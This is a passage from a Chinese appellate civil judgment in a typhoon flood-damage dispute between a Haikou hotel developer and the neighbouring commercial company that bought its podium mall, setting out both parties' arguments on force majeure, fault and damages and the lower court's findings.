海南省海口市中级人民法院
p t ; ” > 民 事 判 决 书
（2016）琼01民终1005号
上诉人（原审被告）：海口海景酒店有限公司。住所地:海口市滨海大道****号滨海公园写字楼。
法定代表人：李伟民，总经理。
委托诉讼代理人：江雯，海南维特律师事务所律师。
委托诉讼代理人：陈泽雄，海南维特律师事务所律师。
被上诉人（原审原告）：海南华侨商业有限公司。住所地:海口市滨海大道****号海口海景酒店裙楼（7-13轴）。
法定代表人：单荣生，董事长。
委托诉讼代理人：吴峻，海南方圆律师事务所律师。
上诉人海口海景酒店有限公司（以下简称海景酒店）因与被上诉人海南华侨商业有限公司（以下简称华侨公司）财产损害赔偿纠纷一案，不服海口市龙华区人民法院（2015）龙民一初字第1484号民事判决，向本院提起上诉。本院受理后依法组成合议庭对本案进行了公开开庭审理，海景酒店的委托诉讼代理人江雯、陈泽雄、华侨公司的委托诉讼代理人吴峻到庭参加诉讼，现已审理终结。
海景酒店上诉请求：撤销原审判决，改判驳回华侨公司所有的诉讼请求。事实和理由，一、原审判决认定事实错误，主要体现在以下两个方面：(一）原审判决对于华侨公司财产损失原因”不符合不可抗力的客观情况”的认定错误。理由如下：1.众所周知，本次涉案事件”威马逊”台风属于不可抗力事件，华侨公司财产受损由该不可抗力事件所导致，原审判决将该财产损失认定为一起由海景酒店引起的侵权责任事故显属严重错误。根据媒体的报道，2014年7月16日上午8时，中央气象台将”威马逊”由强台风（14-15级）降格为台风（12-13级）。2014年7月17日，下午2时，联合台风警报中心将台风由二级降格为一级。下午5时，中央气象台再次将其升格为强台风。2014年7月18日凌晨5时，中央气象台方才将”威马逊”升格为超强台风（底层中心附近最大平均风速≥51.0米/秒，也即16级或以上），此时的中心附近最大风力每秒52米，最低气压935百帕斯卡。2014年7月18日下午2时，中央气象再跟进一步将其升格为强烈台风，然而”威马逊”的增强趋势没有停止，反而越来越急剧，临岸急剧增强。后又达到强度颠峰，中央气象台评定其接近中心最高持续风速为每秒60米，即每小时215公里。当日下午3时半，”威马逊”以其颠峰强度于海南省文昌市××镇沿海短暂登陆，这标志着”威马逊”台风是自1973年至今近41年以来华南地区的最强风暴。2014年7月20日，经政府报告统计，该台风导致海口全市受灾范围22个镇21个街道办，受灾人口85.59万人，占总人口39.4%，转移人口2.47万人，海口地区断水断电连续3天，海口直接经济损失84亿。整个海南省近325.8万人受灾、25人死亡、6人失踪，3.7万间房屋倒塌、1800余公顷面积的农作物受灾，其强度之大，灾害之严重，连中央气象台都无法预见到，所以其引发的灾害的事件显然不可预见、不可避免、不能克服。根据威马逊台风的上述演变过程及所造成的严重后果，就连中央气象台都无法预见的超强台风事件，怎么能够要求海景酒店就”完全可以预见”。这样认定的没有法律依据和事实依据。海景酒店2013年委托施工方成豪公司进行加固的海景酒店泰华路一侧围墙足以抵挡历年来泰华路大水及强台风的冲击，在”威马逊”台风来临之前历经的数次台风中，均没有发生路面积水冲击围墙致使围墙倒塌的情形，如何强求海景酒店就应当预见这次”威马逊”台风能够达到17级并能够致使围墙倒塌的情形发生。华侨公司自己施工且从来都没有加固过的地上7轴隔墙围墙（面朝南北，连接泰华路、海景酒店工地及生生百货大楼的围墙）也发生了倒塌，该倒塌从海景酒店及华侨公司双方所提供的照片便清晰可见，对此事实华侨公司没有任何异议。由此说明，华侨公司显然也没有预见到其自己的围墙亦应该在超强台风来临前进行加固，所以其自己围墙也才发生了倒塌。原审却没有审查海景酒店并没有过抗17级超强台风的经验，自1973年以来至今所有政府机构、各企事业单位及市民们以及华侨公司都没有过的17级台风防范经历，强求从没经历17级超强台风的海景酒店”能够预见”是没有道理的。既然无法预见”威马逊”台风能够在很短的时间内演变成17级的超强台风，又怎么能够要求海景酒店”及时尽到相应强度的有效防范措施”。有关部门直到该台风事件结束之后才意识到并于2015年完成了泰华路的污水管道工程改造，使得该路段长期易涝产生积水的问题最终得已解决。华侨公司作为原审原告，其自己的围墙也被威马逊台风的强风及强降雨冲垮，原审判决故意遗漏审查其在该围墙并没有加固的法律事实进而回避了华侨公司并没有采取及时合理的防范措施而应承担的法律后果，却对海景酒店经加固过的围墙倒塌却作出了没有尽到防范措施义务的认定。不难看出，原审判决认定海景酒店应当预料到超强台风的到来，到来后又必定会引起海水倒灌至泰华路段，进而冲击海景酒店连接泰华路的围墙造成围墙倒塌，并理所当然地把该围墙倒塌界定成了一起侵权责任事故，是完全不遵从客观事实的错误认定。2.忽略证据的证明内容，在华侨公司受损财产原因的认定上做出与证明内容相悖的错误认定。华侨公司自己提交的中衡保险公估股份有限公司的《公估报告》就事故原因部分做出的认定是：”2014年7月18日15时左右，第9号强台风”威马逊”登陆海南的文昌、海口市，风力达到17级，强台风同时带来强降雨，时间持续约12小时。事故原因（近因）为台风（暴风）......事故构成财产一切险的保险责任。”公估摘要部分于保险责任一栏直接确定：”台风，属于财产一切险责任”，保单责任第4点：”本次事故原因为强台风”威马逊”。依据财产一切险保险条款'在保险期间内，由于自然灾害或者意外事故造成的保险标的的直接物质损坏或灭失，保险人按照本保险合同约定负责赔偿。”该证据证明了涉案财产受损的原因是”台风（暴风）”，属于不可抗力事件，并非是海景酒店没有尽到安全保障义务。而原审判决却违背证据《公估报告》所查明事故原因的证明内容，错误地将该围墙倒塌与华侨公司财产设备损失之间设立因果联系，并错误地做出围墙倒塌才是事故发生的近因的错误判决。（二）”威马逊”台风是众所周知的不可抗力事件，海景酒店已经采取了必要的防范措施，原审认定海景酒店对受损财产负有侵权过错责任属于定性错误。1.海景酒店已经采取了必要地防范措施，对判逻辑，华侨公司财产的损失主要是由于海景酒店在泰华路于华侨公司的受损财产不应承担赔偿责任。按照原审法院的审一侧围墙的倒塌所引起，而该围墙的倒塌事件并不属于不可抗力事件，所以作为负有安全防范义务责任人的海景酒店应承担过错侵权责任。原审判决将该受损事件定性成为一起安全保障义务范围的责任事故，认为海景酒店应当对围墙倒塌承担侵权过错责任，该认定显然违背了众所周知的客观事实：威马逊台风是自1973年至今近41年以来华南地区的最强风暴，明显属于不可预料、不能避免的不可抗力事件。由于该不可抗力事件所引起的一切财产损失毫无疑问都应当属于不可抗力事件所致，其性质完全不能等同类似于诸如因一方水管爆裂浸泡相邻方财产致其财产损失的侵权过错行为。所以，本案关键的问题应当是海景酒店在该不可抗力事件中能否免责，而并非是海景酒店是否尽到了安全保障义务的问题。根据合同法相关规定及司法实践，”不可抗力”虽然是法定的免责事由，但并非发生不可抗力的事件造成合同不能履行或他人的财产损失就可以免除责任。需要符合的条件有如：（1）对其受损财产负有安全防范义务（必要条件）；（2）采取了必要的合理的防范措施；（3）避免财产损失的扩大。本案中，华侨公司是受损财产所有权人和保管人，依法对其财产负有妥善保管以及安全防范的义务，而作为相邻关系的海景酒店在该不可抗力事件中只需证明其已经”采取了必要的合理的防范措施”即可免责。根据海景酒店提交的证据证明，海景酒店于2013年对于东面围墙的加固工程足以抵挡在”威马逊”台风之前其所经历的历年来的台风及暴雨等突发事件，对于超出其能力范围内无法预见的”威马逊”台风所造成的损失应当依法免责。2.海景酒店的行为与造成华侨公司财产受损的结果之间没有法律上的因果关系。本案中，负有举证责任的华侨公司于庭审前后均没有证据证明海景酒店具有何种侵权行为，也没有证据证明海景酒店具有哪些主观过错的情形下，原审判决错误地将海景酒店围墙的倒塌作为华侨公司财产设备受损的主要原因，以此证明本案中华侨公司财产设备损失事实与海景酒店”过错行为”之间具备因果关系。该因果关系认定的错误之处体现在，其认定围墙倒塌与华侨公司财产损失是否具备因果关系时并未考虑到两者之间是否具备民法上的相对性（《公估报告》此处采用了近因说），错误地将海景酒店”在台风到来前没有加固围墙的行为”是未尽安全防范措施与华侨公司财产受损建立普遍联系，从而错误地认为该行为与财产受损结果之间具有了引起和被引起的关系。但原审判决却忽视了作为受损财产所有权人和保管人的华侨公司，在台风来临之前没有尽到妥善保管其财产的义务才是本案的主要责任的法律事实。华侨公司应当于台风来临之前将其财产转移至安全地带，并在台风来临之前将地下二层隔墙的三个风道及一个风口进行封堵。华侨公司自己提交的证据《公估报告》中所提到的防灾防损建议非常明确地指出：”A、加固负二层与隔壁酒店的隔墙，在暴风暴雨前及时封堵共用的风道口，避免同类事故的再次发生”，即该公估报告认定：只要华侨公司对风道口进行了封堵，同类事故即可避免再次发生。因此，华侨公司没有尽到妥善保管财产的过错行为以及没有加固负二层与隔壁酒店的隔墙，在暴风暴雨前及时封堵共用的风道口和一个风口的过错行为与其财产受损之间存在法律上的因果关系。3.海景酒店与华侨公司之间对于受损财产并没有形成保管关系，海景酒店不应承担对涉案财产承担安全保障义务。根据负二层房产证已办理至华侨公司名下并在相关手续上已经交接完毕的事实，海景酒店已经完成了交付的义务，华侨公司与海景酒店的物业区域通过地下地上7轴隔墙已经完全分离，华侨公司对7轴隔墙以南的部分拥有了完全的物业所有权，也对该部分拥有独立而完整的物业管理权限。事实上，华侨公司还建立起了由数十名安保人员、物业管理人员组成的专业化管理队伍。其对自己持有完全物权的物业区域的自我管理，地位相当于小区的物业管理单位对自己财产的管理。纵使海景酒店作为该栋大楼的开发商，要进入由华侨公司所管理的物业区域，也要事先经由华侨公司同意，根本不存在海景酒店需要对华侨公司自己的财产安全负有保障义务的问题。原判决对海景酒店提交的主要证据《围墙加固结算单》及华侨公司提交的《公估报告》在证据的的采信上严重违反法律规定。（1）原审判决在认为部分：”华侨公司提交了一份2013年1月的该围墙加固工程结算单，用于证明其在时隔一年半之后已经尽到了对该围墙的安全防范义务，显然证据不充分”。其认定，海景酒店认为，原审对于该份证据的认定严重违反法律规定。其一、海景酒店对于施工地外的临时围墙（安保墙），无法定的修建及加固义务。该围墙在足以抗击一般强台风及强降水，客观上对本案抗击台风及洪水起到了一定的防范作用。其二，原审判决错误地将是否于台风来临前重新加固围墙作为是否尽到安全防范义务的唯一检验标准，认为只要海景酒店在台风来临之前没有再一次加固围墙就等同于没尽安全防范义务。错误地否定了海景酒店已经对该围墙有效加固至具有抗击强台风强度的事实。二、在海景酒店已经提交了《围墙工程加固清单》作为立证证据，足以证明海景酒店在该处已经尽到了合理防范措施的事实，这里特别需要强调的是海景酒店并不能预见该次台风能够演变为17级超强台风。因此，其2013年的加固措施仍然应具备抗击强台风的效力，该次加固措施属于法律规定的”合理的防范措施”。对于该部分事实，华侨公司作为原审原告如果要证明海景酒店没有采取合理地防范措施，其就应承担相应的举证责任，可其不仅没有提供相关证据，在庭审前后对与海景酒店提交的加固围墙的证据也没有提出任何异议，更没有提出相反证据对于海景酒店的主张予以反驳。按证据规则的规定，原审法院应当认定华侨公司举证不能并承担举证不能的法律后果，对于海景酒店关于已经采取了合理措施的证据予以采信。一审法院对海景酒店提交的证据违反采用举证责任倒置的规定，错误的将该举证责任分配给海景酒店，认定海景酒店提交的关于围墙加固工程清单的证据为”证据不足”而不予采信，将举证不能的法律后果错误地交由海景酒店承担，严重违反了诉讼证据规则的规定。原审判决在受损原因认定、海景酒店应承担责任比例与海景酒店具体的赔偿数额相互矛盾，只认定海景酒店应当承担40%的过错责任，遗漏了剩余60%财产受损责任是否应当归责、应当由谁来承担责任以及在保险公司已经赔付的损失之外的赔偿基数是多少等重要事实的认定，导致原审在认定海景酒店具体的赔偿数额上做出了错误的判决。错误之一，华侨公司关于其负二层机电设备损失为930.5万元数额计算有误。错误的之处如下：（1）消防系统。根据《公估报告》，华侨公司主张该部分损失为38万元。但该部分损失当中包含楼顶排烟风机1.684万元、风机控制箱2.5360万元以及税金0.983157万元，该些损失不应由海景酒店承担。因此，关于消防系统的损失海景酒店数额应为32.796843万元=38万元-（1.6840万元+2.5360万元+0.983157万元）。（2）室内电气、暖通工程。根据《公估报告》，华侨公司主张该部分损失为145万元，而该部分损失当中包含楼顶DN350电动阀（上海冠龙）5.792554万元、楼顶DN300电动阀（上海冠龙）5.376754万元、室外排水管道DN1602.24191万元以及税金5.069561万元，该些项目不属于负二层损失范围。因此，关于室内电气、暖通工程的损失数额应为：126.51923万=145万元-（5.792554万元+5.376754万元+2.24191+5.069561万元）经扣除以上两部分，其负二层的损失数额应为903.48179万元。错误之二，抛开前述所有原审判决的错误认定及违反法律规定的情形，既然原审判决对造成财产受损的原因没有认定为不可抗力，就算财产受损应当由海景酒店承担40%，那么，剩余60%的过错责任显然应当由华侨公司自身承担，但原审法院并没有就此做出明确认定，因为一旦做出这样的认定，势必与其之前作出的因华侨公司没有妥善保管财产仅仅负有次要责任的认定相互矛盾，其判决的合法性存在问题。错误之三，既然保险公司已经以不可抗力为由赔付了491万元，那么，海景酒店与华侨公司之间争议的损失数额就只能在保险公司已赔付的范围之外，即以财产受损总额9643700元减去保险公司赔付的491万元，将剩余的473.37万元部分为赔付基数，再依据双方的过错责任划分，确定最终的赔偿数额。依据诉讼请求以及原审判决对于海景酒店责任比例的认定，海景酒店应当承担的赔偿数额是1893480元而并非3857480元。原审判决于保险公司依据不可抗力事件承担赔付491万元的事实不顾，在判令海景酒店承担40%的过错责任的错误前提下，仍然以受损总额964.37万元为基数，判决海景酒店承担其中的3857480元的赔偿责任，违反了法律规定。错误之四，依据《公估报告》所折算的华侨公司负二层共计964.37万元损失的认定，其中491万元的部分已经由保险公司基于不可抗力赔付，那么，华侨公司的实际损失应当只剩下473.37万元，已经赔付部分依法不能计算为华侨公司的实际损失。而华侨公司在其起诉时的诉讼标的也只是473.37万元，并没有就所有损失总额964.37万元主张权利。四、原审判决适用法律错误。原审判决错误地适用了《侵权责任法》中的过错责任条款的规定，剥夺了海景酒店本应享有的不可抗力的免责权。纵观原审判决，其审判逻辑以及相关错误如下：1.认定华侨公司财产损失的主要原因是由于海景酒店泰华路一侧围墙倒塌，而忽略了海景酒店对该围墙并不负有法定的修建义务。更是忽视了事发主要原因是台风这一不可抗力事件所致。2.错误认定海景酒店泰华路一侧围墙的倒塌不属于不可抗力事件，而是侵权过错行为所致。理由之一是海景酒店有过防范台风的经历（此处并未审查是否有过抗17级台风的经验），应当知道在泰华路段会形成积水冲击海口海景酒店泰华路段的围墙，另一理由是海景完全可以预见会造成积水会冲击造成围墙倒塌（此处错误认定上诉人能够预见”威马逊”台风演变为17级台风且由抵抗17及台风的经验）。3.先认定海景酒店对泰华路一侧围墙负有安全防范义务，以此为基础再错误认定海景酒店与华侨公司因存在保管关系而对其财产安全负有保障义务，却忽略了华侨公司作为一个财产所有人及保管人的法定妥善保管义务才是最重要的。4.违反法律规定将举证责任倒置，没有依法采信海景酒店提交的已经采取及时合理的防范措施的重要证据，错误认定海景酒店应承担主要过错责任。5.虽然认定了华侨公司在机电设备的安装时，与民用建设电气设计规范不相符合，且在台风来临前未将设备转移至安全地带，未尽妥善保管的义务，但并未依法将该些责任认定为主要责任。6.海景酒店赔付的数额与责任比例未依法确认。无视保险公司基于不可抗力对华侨公司的部分赔付应当免责，错误认定海景酒店对华侨公司9643700元的财产损失承担40%的过错责任即9643700×40%=3857480元。原审的审判逻辑都是建立在《侵权责任法》中的侵权过错责任条款为基础，完全忽视了损失的主要原因是因不可抗力事件引起，没有依法适用《侵权责任法》第二十九条关于不可抗力免责的规定：”因不可抗力造成他人损害的，不承担责任......”。本案的判决已经完全违背了该类型案件的一般判法，比如众多生效的关于不可抗力的判决合理的审判逻辑是：第一，确定财产受损事件是否属于不可抗力事件；第二，先通过司法鉴定程序涉案财产损失数额；第三，认定不可抗力事件可以免责的数额范围（我省高院有相关的指导意见）；第四，不能免责部分再根据当事人的主张进行人为因素的过错划分。据此，原审判决仅就将该起财产受损事故认定为侵权责任事故而适用侵权过错责任条款的规定显然属于适用法律错误。综上所述，仅凭历年的抗台风经验，海景酒店根本无法预见17级超强台风所具有强烈风力及海水倒灌能够将海景酒店泰华路一侧已经加固过的围墙推倒的情形发生，更无法预见围墙倒塌后大水还能冲垮海景酒店东边地下室入口所构筑的沙袋防水墙，更无法预见到该大水涌入地下二层后可以把整个地下二层淹没，水位升高至7轴隔墙3米高的通风口，进而漫入华侨公司负二层地下室，造成华侨公司的设备损毁。在该起事件中，无论是海景酒店的财产损失还是华侨公司的财产损失，首先应定性为不可抗力事件所致，再来审查相关当事方是否采取了必要合理的防范措施，是否存在免责事由。本案中华侨公司为应对本次台风已经采取了一系列及时、必要而合理的抗台风安全防范措施以及减少相关受损财产损失扩大的措施，所以海景酒店不应对华侨公司财产受损承担赔偿责任，更不应受到非法责难。而华侨公司作为财产保管义务人，其未能遵守民用设计规范，履行妥善保管自己财产的义务，应承担不可抗力事件所致其财产受损的全部责任。其次，原审法院未按照法定程序委托司法鉴定机构进行公开评估的情况下，错误地将未得到保险公司赔付的9643700元作为华侨公司财产损失基数，将华侨公司原本所主张的经由保险公司不可抗力赔付后损失473.37万元擅自扩大为损失964.37万元，违反当事人关于诉讼主张的处分权，因此，建立在对于重要事实存在错误认定、违反证据采信规则、错误适用法律所形成的（2015）龙民一初字第1484号民事判决书，完全违背了法律的基本公平与公正。为维护海景酒店的合法权益，根据《侵权责任法》第二十九条之规定：”因不可抗力造成他人损害的，不承担责任。法律另有规定的，依照其规定”以及《民事诉讼法》第一百六十四条之规定，现依法提起上诉，恳请贵院依法撤销原审判决，径行改判华侨公司的财产损失由其自己承担，驳回其所有诉讼请求，以还司法公正的法律原貌。
华侨公司辩称，一、”威马逊”台风及因此而引起的暴雨并非不可抗力。根据《民法通则》第153条及《合同法》第117条第二款规定，不可抗力是指不能预见、不能避免并不能克服的客观情况。台风和暴雨作为自然界的一种天气现象固然不可避免，但随着现代科技的进步，台风及因此引起的暴雨是完全可以预见，也可以通过及时采取相应防范措施而避免或减少损害后果发生的。本案中，”威马逊”台风将于2014年7月18日左右在海南文昌、海口等地登陆，从中央级别的天气预报到海口本地的天气预报，都已经提前做了比较准确的预报，已经成为社会化的、公开性、非常明确的预报信息；而且政府有关部门除了发出紧急通知，还专门派人到各工地敦促落实防风减灾工作。对于海口市这样处于台风多发地区的城市来说，台风登陆将会带来暴雨并可能引发城市内涝，这是一个基本常识；且海景酒店所处位置又正是低洼易涝地带，相邻的泰华路路段每逢台风暴雨经常发生严重积水，这也是应知的经验。而海景酒店作为一家从事建筑开发的单位，对于”威马逊”台风及因此而引起的暴雨，应当具有比普通社会公众更专业更敏感的预见能力及采取更全面更有力的防范措施，其完全有能力、有可能避免本案损害后果的发生。因此，本案中，虽然”威马逊”台风及其造成的暴雨强度很大，属于灾害性天气，但其与不可抗力之间并不构成必然关系，其危害后果并非不可避免，故不构成不可抗力免责条件。原审判决对此的认定是正确的。二、因海景酒店未尽到合理注意义务、未采取充分有效的防范及救济措施，导致华侨公司所购买的海口海景酒店裙楼商场（以下简称裙楼商场）地下负二层在”威马逊”台风中遭水淹而蒙受巨大财产损失，海景酒店对于本案损害结果的发生具有主要过错，应当承担相应的赔偿责任。1.台风登陆前，海景酒店未对酒店工地围墙采取必要、合理的检修及加固措施，对酒店工地围墙近泰华路一侧在台风中发生大范围倒塌从而导致路边积水倒灌负有不可推卸的责任！而海景酒店在一审中提交的《海景酒店主楼东侧（泰华路段）围墙砖墩加固工程结算单》，这份证据只能证明海景酒店曾于2013年1月前对该段围墙进行过砖墩加固，但”威马逊”台风的登陆时间是2014年7月18日，与该围墙砖墩加固工程的施工时间至少有18个月以上，可见该工程与海景酒店为本次台风所采取的防范措施没有任何关联性。而且，2013年1月前施工的围墙加固工程，即使曾”经历了5次台风考验”，却并不能证明其在2014年7月时仍能达到抗台风的要求。一方面，该围墙每经历一次台风都可能造成自然折损，并非加固一次便可一劳永逸；另一方面，本次”威马逊”台风在2014年7月16日上午以前预报的台风强度即已达到强台风级别（14-15级），海景酒店对此却没有引起充分重视，存在侥幸心理，未在台风来临前再次对该围墙砖墩进行加固，明显疏于防范！2.台风登陆前，海景酒店及其施工方虽然也在工地采取了一些防范措施，但在酒店靠近泰华路一侧的地下室车道入口周围仅垒了一圈四层高的沙袋（从海景酒店提供的照片来看，沙袋垒起后的高度尚不及旁边摆放的锥形塑料隔离墩的高度，显然不足80厘米），对台风来临时工地可能会产生的严重积水情况估计明显不足，未能形成有效防范。而事实上，泰华路围墙倒塌后工地水位迅速高涨，洪水也正是冲垮这道沙袋涌入酒店地下室，最终导致损害结果发生。3.根据该项目原规划报建设计方案，海景酒店的酒店与华侨公司的裙楼商场交接部位系双方共享的风井。华侨公司在向海景酒店买受裙楼商场后，已按图纸要求自行设计建设了一道7轴隔墙并预留三组风道和一个风口，而海景酒店因施工进度延误，其酒店地下室土建部分仅完成框架结构便停工，至今仍未在该7轴隔墙北侧修建双方共有风井的另一侧隔墙。如果海景酒店在停工前能同步建设风井隔墙，然后双方共同完善风井防水设施，则本案的损害结果或许也能够避免或减少损失。4.华侨公司在台风登陆次日即2014年7月19日上午10点开始就用四口大口径水泵（自备柴油发电机）对裙楼商场负二层积水进行24小时不间断抽排，但由于海景酒店在台风前的准备工作不充分，事先未配备供水泵抽水用的柴油发电机，导致市政停电时不能对其工地一侧的酒店地下室及时抽水，直到7月20日才开始抽排。由于双方不能同步抽水，而当时负二层7轴隔墙已有裂缝，故华侨公司亦不敢抽排太快，担心7轴隔墙因压力差而倒塌，将使设备遭受二次水淹。双方直至7月24日才将积水全部抽完。因此，华侨公司认为，如果海景酒店事先做足防灾预案，并能在台风过后的第一时间（即7月19日）配合华侨公司同步开展救灾行动，或许能够减少裙楼商场负二层淹水所造成的财产损失。三、华侨公司对于本案损害结果的发生虽然也存在一定过错，但并非主要过错，且均有合理缘由。1.华侨公司将电气设备设置在裙楼商场负二层是诉争双方在买卖房产时便已共同协商确定的结果，并非华侨公司在买受房产后单方所为；且相关变更手续也是由海景酒店负责办理的，而该设计变更最终也得到规划部门的同意，通过规划验收。华侨公司对此不存在过错。2.华侨公司设置在裙楼商场负二层的电气设备数量众多，且均为大型设备设施，安装后不便拆卸搬运，客观上无法在”威马逊”台风来临前转移至负一层或其他安全位置保管。3.华侨公司在裙楼商场地下负××层和一个风口本身并无过错。该交接部位按规划设计方案本来就是双方共享的风井，华侨公司在隔墙上预留风道和风口且距负二层地面高度均在2米以上，设计完全合理；且华侨公司自行建设的7轴隔墙亦已通过验收，不存在质量问题。但如前所述，正因为海景酒店的在建酒店工程中途停工，风井另一侧应由其修建的隔墙尚未建设，故华侨公司亦尚未对上述风道及风口作防水处理，打算待风井建成后双方再视具体情况同步处理。台风登陆当晚，华侨公司工作人员在发现泰华路围墙倒塌、洪水大量涌入海景酒店一侧的地下室后，不顾危险临时用沙袋对负二层隔墙上的风道及风口进行了封堵，但因水压过大，无奈被洪水冲决，墙体亦有局部开裂，最终无法阻拦洪水进入华侨公司一侧的地下室。四、安徽中衡保险公估股份有限公司（以下简称中衡公司）出具的《海南华侨商业7.18”威马逊”台风案报告》（以下简称公估报告），其保险公估委托手续合法，公估单位主体适格，经核定确认的损失数额客观、真实、公正。原审判决将该公估报告作为认定涉案财产损失事实的主要依据并无不妥。因华侨公司就涉案裙楼商场向永诚财产保险股份有限公司海南分公司（以下简称永诚保险公司）投保了企业财产一切险，故在本案财产损失事故发生并报险后，永诚保险公司与华侨公司于2014年7月23日共同委托中衡公司办理该案公估事宜。中衡公司遵循”客观、独立、科学、公正”的原则，指派相关公估人员进行了现场勘查、损失核定、收集相关材料、赔款估算、协商谈判等工作，并于2014年12月11日出具了公估报告，认定该案损失估算金额为1021.31万元，投保比例经协商确认为56.5%，一次性协商总赔付金额为520万元。中衡公司系具有相关资质的专业保险公估机构，作为保险公司与被保险人共同委托的第三方鉴定机构，其出具的公估报告需平衡永诚保险公司与华侨公司双方利益，不可能偏颇一方，因此经其核定确认的财产损失数额具有客观性、真实性、公正性，足以采信。本案并无必要由法院另行委托司法鉴定机构重新对涉案财产损失金额进行评估。况且海景酒店在本案一审中虽然对该证据的合法性、真实性、关联性提出质疑，但并未提出任何有说服力的具体理由，也没有向法院申请重新鉴定评估。因此，原审判决在对该证据的认定上并没有违反证据采信规则，更谈不上违反法定程序。五、原审判决确定海景酒店承担40%的过错责任，并以中衡公司所评估涉及裙楼商场负二层的财产损失总额9643700元为基数，判决海景酒店赔偿财产损失3857480元，其判决是正确的，应予维持。1.原审判决认为海景酒店”对此次原告财产损失应承担未尽合理的防范措施的主要过错责任”，但同时也充分考虑了海景酒店在台风来临前已采取部分防范措施及在事后安排抽水防止损失扩大等因素，所以才适当减轻其过错责任，最终确认其承担40%的过错责任。前后逻辑并无矛盾。2.根据中衡公司公估报告，该事故损失估算金额共为1021.31万元，而其中涉及裙楼商场负二层的机电设备等财产损失总额为9643700元（详见华侨公司提交的《裙楼商场负二层受损设备估损清单表》、《裙楼商场负二层建筑及装修核损清单表》）。上述9643700元财产损失总额，正是华侨公司在”威马逊”台风中因裙楼商场负二层遭水淹而蒙受的直接财产损失，其与海景酒店在本案中未尽到及时合理的防范措施的过错责任具有直接因果关系。而案外人永诚保险公司向华侨公司一次性打包赔付的520万元（其中与裙楼商场负二层受损财产相关的保险赔付金额按比例折算后为491万元），则是基于双方之间形成的保险合同的法律关系，与本案任何一方在事故中的过错责任均不具有关联性。因此原审判决以9643700元为基数来认定海景酒店应承担40%过错责任而需支付的具体赔偿数额，是完全正确的；且据此计算，原审判决最终判决海景酒店赔偿财产损失数额为3857480元，并未超出华侨公司诉讼请求要求赔偿的473.37万元之数，符合法律规定。综上所述，华侨公司认为，海景酒店的上诉理由缺乏事实和法律依据，请求贵院依法驳回其上诉请求，维持原判。
华侨公司向一审法院起诉请求：一、判令海景酒店赔偿华侨公司财产损失合计人民币473.37万元；二、判令海景酒店承担本案诉讼费用。
一审法院认定事实：2014年7月18日，第9号强台风”威马逊”登陆文昌、海口等地，同时带来强降雨，时间持续较长。海景酒店的海口海景酒店主楼东侧工地靠近泰华路一侧的围墙，在台风中发生了倒塌，路面积水从一侧进入海口海景酒店工地现场。海景酒店在其酒店东侧地下室停车场入口处垒起了相应的防水沙墙，沙墙高度约1米，共四层沙包，每层有25厘米左右，西侧有防水墙，并预留了工作人员在工地坚守现场，进行抢险。由于水势大冲垮沙墙，大水从地下室停车场入口处进入地下室负一层和负二层。华侨公司的裙楼商场地下室负二层与海景酒店的酒店地下室负二层相邻部分的第7轴隔壁上有通风口存在，进入海景酒店地下室的水漫过隔墙上的通风口进入华侨公司商场裙楼地下室。造成华侨公司、海景酒店的地下室负二层进水的路径分成以下两部分。1.大部分进水的位置位于海景酒店东侧地下室入口处；2.小部分进水的位置位于华侨公司在生生百货主楼东侧靠近泰华路一侧的地面墙裙上预留的通风口百叶窗，也处在围墙内，在围墙倒塌后，水顺该通风口进入华侨公司地下室的负一层及负二层。水进入华侨公司商场裙楼的负二层后，造成华侨公司已安装的机电设备及配套设备全部被水淹没。台风过后，华侨公司、海景酒店的房产地下室的负一层未被水淹，负二层被水淹没。至2014年7月20日，海景酒店租赁到相应的抽水设备，通过5天的抽排水才将地下室负二层的水抽完。另查，2012年12月8日，华侨公司与海景酒店签订了一份海口海景酒店裙楼商场<以下简称裙楼商场>买卖协议，华侨公司购买海景酒店的裙楼商场部分，从负一楼到第四层，建筑面积20946.76平方米，第五层2079平方米，负二层5179.26平方米。总价款459750538元。2012年12月海景酒店将上述房产交付给华侨公司。2014年1月24日，上述房产办理产权证至华侨公司名下，证号HK404215号，面积26688.45平方米。该房产的北侧与海景酒店在建的海口海景酒店主楼工程项目相连接，其中，华侨公司的裙楼商场的负二层与海景酒店地下室负二层第7轴相邻部分有隔墙，上有通风口相通。华侨公司在保险事故发生后，向其投保的永诚保险公司报案后，华侨公司与永诚保险公司共同委托中衡公司对华侨公司拥有的裙楼商场的财产损失进行损失核定。2014年12月16日，中衡公司出具公估报告，涉及华侨公司财产损失估算为10213100元。其中，与华侨公司裙楼商场地下室水淹后的建筑、装修、设备损失按清单表统计为9643700元。永诚保险公司与华侨公司协商后，一次性打包总赔付给华侨公司5200000元。另海景酒店提交了一份2013年1月21日的海景酒店主楼东侧围墙砖墩加固（泰华路段）工程结算单，总造价17919.30元，并说明该围墙在此前已经经历了5次台风未倒塌。在机电设备受损后，华侨公司向海景酒店就损失索赔未果，遂诉至原审法院。
一审法院认为：华侨公司、海景酒店所争议的焦点是海景酒店在所造成财产损失中是否已采取了及时合理的防范措施，是否应对此承担侵权过错责任。作为海景酒店负责开发的海口海景酒店，华侨公司所购买的只是其中的部分房产，海景酒店应对其开发时所形成的泰华路一侧的围墙安全负有完全的防范义务。本次造成华侨公司财产损失的最主要原因就是泰华路一侧的围墙倒塌，致使路面积水大量涌入施工工地后，进入华侨公司的商场裙楼负二层，导致机电设备等被淹没。海景酒店提交了一份2013年1月的该围墙加固工程结算单，用于证明其在时隔一年半之后已经尽到了对该围墙的安全的防范义务，显然证据不充分。且海景酒店在兴建海口海景酒店的过程中，有其他台风在海口登陆的经历，应当知道泰华路的围墙对海口海景酒店工地安全保护的重要性，而在本次台风来临时，未对围墙进行防护加固处理，明显对此次华侨公司财产损失应承担未尽及时合理的防范措施的主要过错责任。但海景酒店在台风来临前后，均针对性的采取了部分防范措施，如在地下室入口处垒防水沙墙，彻防水墙，派员工参与抢险，事后安排对地下负二层抽水防止损失扩大，应适当减轻其过错责任。华侨公司在机电设备的安装时，与民用建设电气设计规范不相符合，且在台风来临前未将设备转移至安全地带，其未尽到妥善保管的义务，应对华侨公司此次财产损失承担次要的过错责任。综上，在适当减轻海景酒店过错责任的基础上，原审法院确定海景酒店对华侨公司涉及被水淹的裙楼商场负二层的财产损失承担40%的过错责任。根据中衡公司所评估涉及裙楼商场负二层的机电设备等财产损失总价值为9643700元，海景酒店应承担的财产损失数额为3857480元，华侨公司主张海景酒店赔偿损失的数额超过的部分，原审法院不予支持。海景酒店辩称此次损失的形成，应属于台风的不可抗力造成的。海景酒店有过防范台风的经历，应当知道在泰华路段会形成积水冲击海口海景酒店泰华路段的围墙，其完全可以预见存在路面积水冲击围墙，围墙存在倒塌的风险，海景酒店对此是有可预见性的，不符合不可抗力的客观情况，如